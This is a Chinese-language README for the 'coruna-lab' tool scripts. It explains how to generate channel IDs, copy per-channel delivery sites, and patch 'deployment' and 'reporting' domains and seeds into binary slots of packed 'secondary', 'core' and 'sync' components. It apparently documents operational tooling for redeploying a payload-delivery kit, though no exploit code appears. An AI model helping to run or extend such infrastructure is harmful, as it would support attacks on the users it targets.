Files
coruna-lab/tools/README.md
T
2026-08-07 05:21:44 +08:00

85 lines
2.5 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
# coruna-lab 工具:channel id / 固定域名
## 推荐:`new_project.py`
从 **Laravel 配置**读取投放域名(系统设置 → 投放域名,或 `.env` `CORUNA_CHANNEL_DOMAINS`),行为:
1. 生成或使用 **32 位小写 `[0-9a-z]`** channel id
2. 从 `source/web/<原channel>/` 复制出 `server/public/web/<新channel>/`
3. **域名与上次 `out/domains.json` 相同**(且已有 `sync/`)→ 只打 secondary,**不碰 sync**
4. **域名变更 / 首次无 sync** → 从 `source/sync` 重置并 `patch_all` 重建 sync
后台「新建渠道链接」会带上当前配置域名调用本脚本。
```bash
cd coruna-lab
pip3 install py7zr pycryptodome
# 域名默认读 Laravel 配置
/usr/bin/python3 tools/new_project.py --channel-id 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
# 也可显式覆盖
/usr/bin/python3 tools/new_project.py \
--channel-id 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' \
--deployment-domains 'www.dep1.example,www.dep2.example' \
--reporting-domains 'www.rep1.example,www.rep2.example'
# 强制重建 sync
/usr/bin/python3 tools/new_project.py --channel-id '...' --force-sync
```
产物:
- `server/public/web/<channel-id>/` — 投递站
- `server/public/sync/` — 仅域名变化时重建
- `server/public/out/{channel,domains,seeds}.json`
约束:
- channel id:恰好 **32** 个小写字母数字
- 每池最多 **8** 个域名,单域名 ≤ 63 ASCII
- macOS 建议 `/usr/bin/python3`(需 `py7zr` + `pycryptodome`)
查看当前配置域名:
```bash
cd server && php artisan coruna:channel-domains --json
```
---
## 仅重建(已有 server/public)
```bash
/usr/bin/python3 tools/patch_all.py --apply --root server/public \
--channel-id 'dddddddddddddddddddddddddddddddd' \
--deployment-domains 'www.dep1.example,www.dep2.example' \
--reporting-domains 'www.rep1.example,www.rep2.example'
```
### Seed 格式
- ASCII,长度 ≤ 32(二进制槽位定长 32)
- 推荐正好 32 个十六进制字符
- 域名未变时 `new_project` 会复用 `out/seeds.json`
---
## 分步脚本
```bash
# 二级包 type0x01(含 channel)
/usr/bin/python3 tools/patch_secondary_packs.py \
--deployment-seed <32hex> --reporting-seed <32hex> \
--channel-id <id> \
--deployment-domains 'a.com,b.com' --reporting-domains 'c.com,d.com' \
--root server/public --apply
# core + sync 业务插件 + daily
/usr/bin/python3 tools/patch_core.py \
--deployment-seed <32hex> --reporting-seed <32hex> \
--channel-id <id> \
--deployment-domains 'a.com,b.com' --reporting-domains 'c.com,d.com' \
--root server/public --apply
```